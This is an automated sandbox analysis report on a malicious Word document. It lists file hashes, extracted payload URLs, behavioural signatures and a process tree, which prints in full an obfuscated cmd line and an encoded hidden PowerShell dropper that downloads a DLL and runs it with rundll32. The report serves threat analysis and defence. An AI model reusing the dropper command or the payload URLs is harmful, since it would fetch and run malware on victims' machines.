Analysis
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max time kernel
139s -
max time network
148s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 07:50
Behavioral task
behavioral1
Sample
Lijst-312193-51028025.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Lijst-312193-51028025.doc
Resource
win10v20201028
General
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Target
Lijst-312193-51028025.doc
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Size
160KB
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MD5
29a4ea6a463ddf82de1e03bb924e7d6b
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SHA1
a0ac2cd61171e18c65393d81ff7e59cb764cd097
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SHA256
e5aa021fb139265c34bdf1a7caab6b2954c71a9a83a8050364c1a95fddd7e0c7
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SHA512
b89887ac2511ba4168517a7eff2f35d6f71a680e65fb12422e11d1bc13909f160ba4679a6dc12b4f5215eeaf34487b76e8df5d249b4789a3a86081df6efa8ce3
Malware Config
Extracted
http://fynart.com/wp-admin/aNuMy/
http://dermedicoclinic.com/js/NElI8ZC/
http://geolifesciences.com/font/r/
http://rollinghood.com/how-to-ifwed/buj6VQx/
http://jardindhelena.com/wp-content/u20/
http://kingshowworldshoppingmall.com/cgi-bin/Ga/
http://davinciworldshoppingmall.com/cgi-bin/Eh/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4068 3368 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 22 2624 powershell.exe 29 1396 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3920 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Yrfvtb\smyet.sgq rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 580 WINWORD.EXE 580 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 2624 powershell.exe 2624 powershell.exe 2624 powershell.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe 1396 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2624 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE 580 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 4068 wrote to memory of 2996 4068 cmd.exe msg.exe PID 4068 wrote to memory of 2996 4068 cmd.exe msg.exe PID 4068 wrote to memory of 2624 4068 cmd.exe powershell.exe PID 4068 wrote to memory of 2624 4068 cmd.exe powershell.exe PID 2624 wrote to memory of 4052 2624 powershell.exe rundll32.exe PID 2624 wrote to memory of 4052 2624 powershell.exe rundll32.exe PID 4052 wrote to memory of 3920 4052 rundll32.exe rundll32.exe PID 4052 wrote to memory of 3920 4052 rundll32.exe rundll32.exe PID 4052 wrote to memory of 3920 4052 rundll32.exe rundll32.exe PID 3920 wrote to memory of 1396 3920 rundll32.exe rundll32.exe PID 3920 wrote to memory of 1396 3920 rundll32.exe rundll32.exe PID 3920 wrote to memory of 1396 3920 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Lijst-312193-51028025.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yrfvtb\smyet.sgq",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
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\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
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memory/580-2-0x00007FFC302E0000-0x00007FFC30917000-memory.dmpFilesize
6.2MB
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memory/1396-12-0x0000000000000000-mapping.dmp
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memory/2624-4-0x0000000000000000-mapping.dmp
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memory/2624-5-0x00007FFC29CF0000-0x00007FFC2A6DC000-memory.dmpFilesize
9.9MB
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memory/2624-6-0x0000021B35230000-0x0000021B35231000-memory.dmpFilesize
4KB
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memory/2624-7-0x0000021B4D560000-0x0000021B4D561000-memory.dmpFilesize
4KB
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memory/2996-3-0x0000000000000000-mapping.dmp
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memory/3920-10-0x0000000000000000-mapping.dmp
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memory/4052-8-0x0000000000000000-mapping.dmp